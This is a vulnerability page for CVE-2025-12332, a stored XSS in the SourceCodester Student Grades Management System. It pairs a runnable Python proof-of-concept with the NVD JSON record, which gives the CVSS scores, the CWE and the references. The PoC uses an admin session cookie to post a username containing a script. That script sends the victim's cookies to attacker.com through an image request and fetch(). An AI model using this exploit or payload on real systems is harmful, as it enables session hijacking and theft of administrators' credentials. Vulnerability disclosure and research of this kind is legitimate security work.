CVE-2025-12332

# CVE-2025-12332 PoC - SourceCodester Student Grades Management System XSS # Author: Security Researcher # Target: /admin.php delete_user function # Type: Stored XSS import requests import argparse def exploit_xss(target_url, admin_cookie): """ Exploit CVE-2025-12332: Stored XSS in delete_user function This PoC demonstrates how to inject malicious JavaScript code through the user management functionality. """ # Malicious payload - steals admin cookies xss_payload = '''<script> // Cookie stealing script document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>'); // Or perform session hijacking fetch('http://attacker.com/log?data=' + encodeURIComponent(document.cookie)); </script>''' # Target endpoint for user creation/editing target_endpoint = f"{target_url}/admin.php" # Request headers headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Payload for creating/editing user with XSS data = { 'action': 'save_user', # or 'add_user' depending on implementation 'username': f'testuser{xss_payload}', 'fullname': f'Test User<script>alert("XSS")</script>', 'email': '[email protected]', 'password': 'password123' } try: # Send the malicious request response = requests.post(target_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully!") print("[*] Payload will execute when admin views user list or deletes user") print(f"[*] Target: {target_endpoint}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12332 PoC') parser.add_argument('--url', required=True, help='Target URL') parser.add_argument('--cookie', required=True, help='Admin session cookie') args = parser.parse_args() exploit_xss(args.url, args.cookie)

{"cve": {"id": "CVE-2025-12332", "sourceIdentifier": "[email protected]", "published": "2025-10-28T00:15:37.573", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in SourceCodester Student Grades Management System 1.0. This affects the function delete_user of the file /admin.php. Executing manipulation can lead to cross site scripting. The attack may be performed from remote. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "baseScore": 3.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 6.4, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:remyandrade:student_grades_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "3598B8C3-795C-4F26-9376-73D791CD287B"}]}]}], "references": [{"url": "https://github.com/sanin-s1r3n/CVE-Research/blob/main/CVE-4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.330119", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330119", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674456", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674457", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}]}}